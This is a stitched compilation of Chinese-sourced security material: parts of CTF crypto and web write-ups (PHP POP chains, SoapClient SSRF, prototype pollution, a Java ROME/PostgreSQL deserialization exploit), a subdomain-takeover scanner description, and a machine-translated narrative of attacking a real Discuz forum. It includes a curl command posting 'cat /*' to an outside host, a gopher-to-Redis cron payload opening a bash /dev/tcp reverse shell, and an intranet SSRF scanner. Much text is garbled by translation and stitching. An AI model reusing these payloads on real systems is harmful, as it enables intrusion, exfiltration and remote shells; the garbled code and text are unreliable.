q=clown//p

PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])

N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))

 

 

3.Alexei needs help

将迭代改为循环即可

 

from random import randint

import gmpy2 as gp

from Crypto.Util.number import *

from Crypto.Cipher import AES

from hashlib import md5

from binascii import *

 

from tqdm import tqdm

 

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81

 

n = 2023

 

def seqsum(i):

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

    return ans

 

 

def home1work(n):

    if n == 1:

        return 1

    elif n == 2:

        return 1

    else:

        previous, current = 1, 1

        for i in tqdm(range(3, n + 1)):

            previous, current = current, (a * current + b * previous + seqsum(i)) % m

        return current

 

ans = home1work(n)

 

k = unhexlify(md5(str(ans).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

#data = flag + (16 - len(flag) % 16) * b"\x00"

data=long_to_bytes(ct)

ct = aes.decrypt(data)

print(ct)

#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00"

 

或者脚本:

memo = {}

import sys

 

sys.setrecursionlimit(100000)  

import gmpy2 as gp

 

a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq = [

    1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064,

    12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860,

    13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339,

    8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005,

    5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052,

    9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050,

    6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410,

    3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626,

    2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738,

    10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

n = 2023

 

 

def seqsum(i):

    if i in memo:

        return memo[i]

 

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

 

    memo[i] = ans

    return ans

 

 

def homework(i):

    if i in memo:

        return memo[i]

 

    if i == 1:

        result = 1

    elif i == 2:

        result = 1

    else:

        result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m

 

    memo[i] = result

    return result

 

 

result = homework(2023)

ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'

from Crypto.Cipher import AES

from binascii import *

from hashlib import *

 

k = unhexlify(md5(str(result).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

aes = AES.new(key=k, mode=AES.MODE_ECB)

 

print(aes.decrypt(unhexlify(ct)))

 

 

 

 

题目附件:链接:https://pan.baidu.com/s/1DWfylZ-VV9zKgiOHiGj8tw   提取码:kdfw 

 

 

 

 

参考文章

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://blog.csdn.net/jyttttttt/article/details/131146160

https://www.cnblogs.com/Aann/p/17473430.html

https://mp.weixin.qq.com/s/O8RXt7lOift-pgIiTJJY2g

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://mp.weixin.qq.com/s/ghQQ59c-K9C1VADVW-eVZQ

 https://mp.weixin.qq.com/s/Gi3dQ3mDs3mZCRGtT4l_dg

HireHackking

安洵杯2022 Web Writeup

babyphp

index.php:

<?php
//something in flag.php
class A
{
    public $a;
    public $b;
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }
    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}
class B
{
    public $a;
    public $b;
    public $k;
    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
    public $a;
    public $c;
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}
if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php:

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

通过构造 pop 链查看 phpinfo 发现 session.serialize_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf

思路就是先控制 ini_set 的参数指定 serialize_handler 为 php_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient __call 方法来触发 ssrf

ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag

pop 链 payload:

<?php
class A
{
    public $a;
    public $b;
}
class B
{
}
class C
{
    public $a;
    public $c;
}
$cc = new C();
$cc->a = 'xxxx';
$a = new A();
$a->a = '0e215962017';
$a->b = $cc;
$c = new C();
$c->c = $a;
$b = new B();
$b->a = $c;
echo serialize($b);

ssrf payload:

<?php
// $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$b = serialize($a);
echo '|'.urlencode($b);

先利用 GlobIterator

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

再利用 SplFileObject

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

EZ_JS

登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写

主页右键注释如下:

<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

一眼哈希长度扩展攻击

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

结合之前的提示, 利用 js 的大小写特性:

'ı'.toUpperCase() == 'I' // true

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图)

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});
router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});
module.exports = router;

很明显要通过原型链来污染 req 的 flag 属性, payload 如下

id={"__proto__":+{"flag":+"flag"}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

之后转 get 访问得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

静态靶机的截图

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload

先上传 phpinfo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1, disable_functions 过滤了一堆, 不过 file_get_contents() 可用, 通过它读取题目源码

<html>
<body>
<form method="POST" enctype="multipart/form-data">
这前端不美si你!!!
<input type="file" name="upload_file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<?php
function waf($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
    foreach($blacklist as $blackword){
        if(stristr($var, $blackword)) return True;
    }
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("俺不要图片,熊大");
}
$content = file_get_contents($temp_file);
if(waf($content)){
    die("哎呦你干嘛,小黑子...");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo $msg."  ".$img_path;

位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag

import re
preg = '\*'
def convertToURL(s):
    if s < 16:
        return '%0' + str(hex(s).replace('0x', ''))
    else:
        return '%' + str(hex(s).replace('0x', ''))
def generateDicts():
    dicts = {}
    for i in range(256):
        for j in range(256):
            if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
                k = i | j
                if k in range(32, 127):
                    if not k in dicts.keys():
                        dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
    return dicts
def generatePayload(dicts, payload):
    s1 = ''
    s2 = ''
    for s in payload:
        s1 += dicts[s][0]
        s2 += dicts[s][1]
    return f'("{s1}"|"{s2}")'
dicts = generateDicts()
a = generatePayload(dicts, '/f*')
print(a)

payload

<?php echo new GlobIterator('/f('|'/f"');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954406.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954423.png

然后用 file_get_contents() 读取 flag

<?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955530.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955702.png

ezjaba

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>ezjaba</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>ezjaba</name>
    <description>ezjaba</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.12</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

IndexController

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957830.png

Database

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957963.png

JdbcUtils

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957966.png

SecurityObjectInpitStream

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271958986.png

过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve

https://xz.aliyun.com/t/11812

https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce

结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter

在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞

之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272004771.png

payload:

package com.example.ezjaba;
import com.example.Reflection;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.*;
public class RomeDemo {
    public static void main(String[] args) throws Exception{
        Database database = new Database();
        database.setDatabase("postgresql");
        database.setHots("127.0.0.1");
        database.setUsername("test");
        database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml");
        ToStringBean toStringBean = new ToStringBean(String.class, "123");
        XString xString = new XString("456");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",toStringBean);
        map1.put("zZ",xString);
        map2.put("yy",xString);
        map2.put("zZ",toStringBean);
        Map map = new HashMap();
        map.put(map1, 1);
        map.put(map2, 2);
        Reflection.setFieldValue(toStringBean, "beanClass", Database.class);
        Reflection.setFieldValue(toStringBean, "obj", database);
        ByteArrayOutputStream arr = new ByteArrayOutputStream();
        try (ObjectOutputStream output = new ObjectOutputStream(arr)){
            output.writeUTF("axb");
            output.writeInt(2022);
            output.writeObject(map);
        }
        System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray()));
    }
}

exp.xml:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>curl http://x.x.x.x:yyyy/ -X POST -d "`ls /;cat /*`"</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

vps 上挂着 exp.xml, 然后用 base64 payload 打一下

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272107558.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272108046.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272114396.png

       
转自原文链接: https://exp10it.cn/2022/11/2022-%E5%AE%89%E6%B4%B5%E6%9D%AF-web-writeup/#babyphp

AVvXsEiYKtQggi0GSi3fLWz2xW6toEOPhX-KWAzT

子域的接管是一个常见的漏洞,它使攻击者可以控制目标域的子域,并重定向将组织的域名用于执行恶意活动的网站,例如网络钓鱼活动,窃取用户cookie等。当攻击者获得对目标域的子域的控制时,会发生攻击者。通常,当子域在DNS中具有CNAME时,这会发生这种情况,但是没有主机为其提供内容。 Subunter列出了给定的子域的title='subdomains'subdomains,并扫描它们以检查此漏洞。

功能:

自动更新使用GO内置的随机用户代理使用来自众所周知的来源(CAN-I-TAKE-OVER-XYZ)的指纹数据

安装:

:010

选项1:

从版本下载

选项2:

从源:构建

$ git克隆https://github.com/nemesis0u/subhunter.git

$ GO Build subhunter.go

用法:

选项:

使用SubHunter:

-l字符串

文件包括扫描主机列表

-o字符串

文件以保存结果

-t int

扫描的线程数(默认为50)

-TimeOut int

超时为秒(默认20)

演示(为POC添加了假指纹):

./subhunter -l subdomains.txt -o test.txt

____ _ _

/___ | | __ | | __ _ _ _ __ | | __ _ ___ | | _ ___ ___ __ __

\ ___ \ | | | | | '_ \ | '_ \ | | | | | '_ \ | __ |/_ \ | '__ |

___)| | | | _ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | _ | __/| |

| ____/\ __,_ | | _.__/| _ | | _ | \ __,_ | | _ | | _ | | _ | \ __ | \ ___ | \ ___ | | _ |

快速的子域收购工具

由克星创建

用于电流扫描的88个指纹

------------------------------------------------------------------------------------------------------------------------

[+]在www.ubereats.com:上找不到任何东西

[+]在testauth.ubereats.com:上什么都没易受伤害

[+] Apple-Maps-App-clip.ubereats.com:在不脆弱的

[+]在about.ubereats.com:上找不到任何不脆弱的

[+]在beta.ubereats.com:上什么都不脆弱

[+]在ewp.ubereats.com:上什么都没脆弱

[+] nothi ng在edgetest.ubereats.com:上发现不脆弱

[+] guest.ubereaats.com:在不脆弱的

[+] google cloud:可能在testauth.ubereaats.com:易受伤害

[+]在info.ubereats.com:上找不到任何东西

[+]在Learn.ubereats.com:上什么都不易受伤害

[+]在erschants.ubereats.com:上找不到任何易受伤害的

[+]在guest-beta.ubereats.com:上什么都不脆弱

[+]在商人help.ubereats.com:上什么都没有发现

[+]在merchants-beta.ubereats.com:上找不到任何东西

[+]在Merchants Staging.ubereats.com:上找不到任何脆弱

[+]在messages.ubereats.com:上找不到任何易受伤害的

[+]在order.ubereats.com:上找不到任何不脆弱的

[+]在restaurants.ubereats.com:上什么都不易受伤害

[+]在付款中找不到任何东西

[+]在static.ubereats.com:上找不到任何不脆弱的

子猎人退出.

结果写在test.txt上

メインサイトを登録するときに、JSPとPHPの接尾辞が共存することがわかります。異なるルートが異なるミドルウェアを逆転させたため、脆弱性は見つかりません。

Image

フォーラムはディスクです! x3.2

Image

Discuz緊急治療室が見つかりました。

Image

admin.php 403、uc_server、および緊急治療室には、パスワードが弱い。

《渗透某盗版游戏网站》で、ディスクスのバックグラウンドにある脆弱性を紹介しましたが、フロントデスクの脆弱性についてはどうでしょうか。主に、任意のファイル削除、SSRF、およびUC_Serverブラストがあります。

まず、ファイルを削除します。

post /home.php?mod=spacecpac=profileop=base

birthprovince=./././info.php

Image

次に、ファイルを投稿してinfo.phpを削除します

format='https://x.com/home.php?mod=spacecpac=profileop=base'method=' post 'enctype=' multipart/form-data '入力タイプ=' name='birthprovince' id='file'/inputタイプ='text'name=' text=''/input '/inputip'/input 'prept' prept 'preper value='1'/input type='submit' value='submit' //Discuzがファイルを削除してインストールすることは困難です。

もう一度SSRFを見てみましょう。

/forum.php?mod=ajaxaction=downRemoteimgmessage=

これは、反響せず、時間遅延によってのみ判断することができるSSRFです。

1. HTTPを介してイントラネットを直接検出できます。 IPが生き残ると、短い遅延があり(ポートが開いているかどうかに関係なく)、IPが存在しない場合、長い遅延があります。

2。プロトコルは302ジャンプで変更でき、FTP、DICT、およびGOPHERをサポートできます。

第三に、ポートはFTPプロトコルを介して検出できます。ポートが開いている場合、長い遅延があり、ポートが閉じていると短い遅延があります。

最初に、HTTPプロトコルを介してVPSにアクセスして、フォーラムの実際のIPを取得します。

163.*。 *.35.bc.googleusercontent.com(35。*。*。163)

その後、ローカルレディスを盲目的に呼び出すようにしてください(ここではローカルポートを検出するために、それは不合理なので、私はそれを直接盲目的に呼びます)

GopherプロトコルがRedisをローカルで攻撃する場合、コマンド文字列の各行の長さを$で宣言する必要がないことがわかります。

最初に、クリアSSRF攻撃ペイロードを参照してください

/forum.php?mod=ajaxaction=downRemoteimgmessage=dbfileName root%0d%0aset 0 '\ n \ n */1 * * * * * * bash -i /dev/tcp/62.1.1.1/566701/n\n'%0d%0Asave%0D%0Aquit%0D%0Axx=1.png

次に、302.phpの間?データ=、URLをエンコードする必要があり、データ=xx=1.からすべての文字列が2回エンコードされ、BPでパッケージ化されます。

/forum.php?mod=ajaxaction=downremoteimgmessage=%36%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%33%25%36%33%25%36%33%25%36%336 30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%25%36%39%25%36%37 %25%32%30%25%36%25%36%31%25%37%32%30%30%36%32%25%32%30%25%36%32%66%25%37%36%31%25%37%32%25%32%32%66 %25%37%33%25%37%30%25%36%66%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%36%33%25%36%65%32%66%25%36%65%36% 25%32%35%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%25%36%25%36%25%36%39%25%36%37%25%32%30%2 5%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25 %36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25% 36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35 %63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%61%25%32%30%25%32%61%25%32%30 %25%32%61%25%32%61%25%32%30%25%32%61%25%32%61%25%30%30%25%32%61%25%32%30%25 %32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%332%30%25%32%30%25%32%30%25%36 %32%25%36%31%31%25%37%33%25%36%38%25%32%30%25%32%66%36%25%32%66%25%34%25%36%36%34% 25%36%35%25%36%32%66%25%33%31%25%32%66%25%33%31%25%32%66%25%32%65%31%32%65%31%32%6 5%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%33%33%30%25%33%65%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25% 32%36%25%33%30%25%33%65%25%36%36%25%33%30%25%33%30%25%36%34%32%35%25%33%30%25%33%30%33%33%30%25%36%31%31%31%31% 25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%31%25%37%37% 31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png [/img] formhash=017b5107

しかし、ペイロードは、Discuzが提供するXSSおよびSQLインジェクション保護によって傍受されたことがわかりました。

Image

したがって、ペイロードはVPSでのみ記述できます。

?php

$ ip=$ _ get ['ip'];

$ port=$ _ get ['port'];

$ scheme=$ _ get ['s'];

$ data='_ flushall%0d%0aconfigset dir/var/spool/cron/%0d%0aconfig set dbfilename root% /566701 \ n \ n '%0d%0asave%0d%0aquit%0d%0aquit%0d%0a';

Header( 'Location: $ scheme: //$ ip: $ port/$ data');

VPSのRedisを成功させることができる/forum.php?mod=ajaxaction=downremoteimgmessage=[img=1,1] http://62.1.1.1/302.php?s=gopher%26IP=62.1.1.1.1.1.1 %26ポート=637999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999」

Image

問題ない。ただし、実際の環境では使用率が失敗しました。その理由は不確実であり、Redisがない、Redis許可の不足、またはパスワードがあることが可能です。

イントラネットを検出するためにスクリプトを書き始めましたが、あまり希望がありませんでした。 Google Cloudであり、必ずしもイントラネットを持っているわけではありません。

すべてのイントラネットIPSのIP辞書が作成されています

f=open( 'ip.txt'、 'w')

f.write( '127.0.0.1')

f.write( 'localhost')

範囲のI(1,256):

ip='192.168。'+str(i)+'。1'

F.Write(IP)

範囲(16,32):のIの場合

IIインロン(1,256):の場合

ip='172。'+str(i)+'。'+str(ii)+'。1'

F.Write(IP)

範囲のI(1,256):

IIインロン(1,256):の場合

ip='10。 '+str(i)+'。 '+str(ii)+'。1 '

F.Write(IP)

f.close()

次に、時間遅延を使用してイントラネットIPセグメントを見つけます。ここでは、IPブロッキングの遅延は7秒以上であるため、複数のスレッドを使用して完了する必要があります。 IPのプロトコルがあるかどうかを検出しても問題ないため、Gopherを使用してRedisのペイロードを直接攻撃するだけです。

リクエストシムポートスレッディングDEF SSRF(i): url=をインポートします'https://x.com/forum.php?mod=ajaxaction=downRemoteimgmessage={'user-agent':'mozilla/5.0(Windows nt 6.1; win64; x64; rv336079.0)gecko/20100101 firefox/79.0'、 'Accept':itext/html、application/xhtml+xml 'Accept-Language':' zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2 '、' accept-encoding': 'gzip、deflate'、 'connection'、 'cookie={'PNUE_2132_SALTKEY':'VX3WOD3T'、 'PNUE_2132_AUTH':'8B46%2F9AD2X2XYFYESVQ aytdhs%2fvwrzigqlwce3iar6aiwux8ragrp%2bgrkmv39ylno2gaifhep01aghxapi0ocyxirnkx '} r=requests.get(url、cookie=cookie、headers=header、aople_redirects=false)r.elapsed.total_seconds()6: timeout=str(i)+'port3360'+str(r.elapsed.total_seconds())他の:タイムアウト=印刷str(i)+'port3360'+str(r.elapsed.total_seconds())fo=open( 'openip.txt'、 'a') threading.thread(target=ssrf、args=(i、)))name.append(th)th.start()for th inaname: th.join()folist=open( 'ip.txt'、 'r')list=[] flag=0 for i infolist.readlines(): i=i.Replace( '' ') list.append(i)flag=flag+1 else:スレッド(リスト)フラグ=0 list=[]オープンゲートウェイのみが見つかります172.30.2.1は、このゲートウェイでイントラネットIPを実行し、IP.TXTを置き換えます。

Image

その結果、1日走った後、私は2つのイントラネットIPS、172.30.2.1と172.30.2.2のみを使い果たしました。確率は、172.30.2.2それ自体が、172.30.2.1がクラウドサーバーの仮想ゲートウェイであることです。

最後に、FTPプロトコルを使用してポートを実行し、スクリプトを自分で変更するだけです。

Image

それらのほとんどは誤ったアラームであり、実際には2つのポート80と443のみを開くため、他のイントラネットIPが後で見つからない限り、SSRFは予想されません。

最後のUC_Serverブラストは、XFFヘッダーを変更してグラフィック検証コードを修正することであり、使用が失敗します。詳細については、https://www.freebuf.com/articles/web/197546.htmlを参照してください

フォーラムは終わりました。カスタマーサービスシステムの何が問題なのか見てみましょう。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288888884f7d0227f

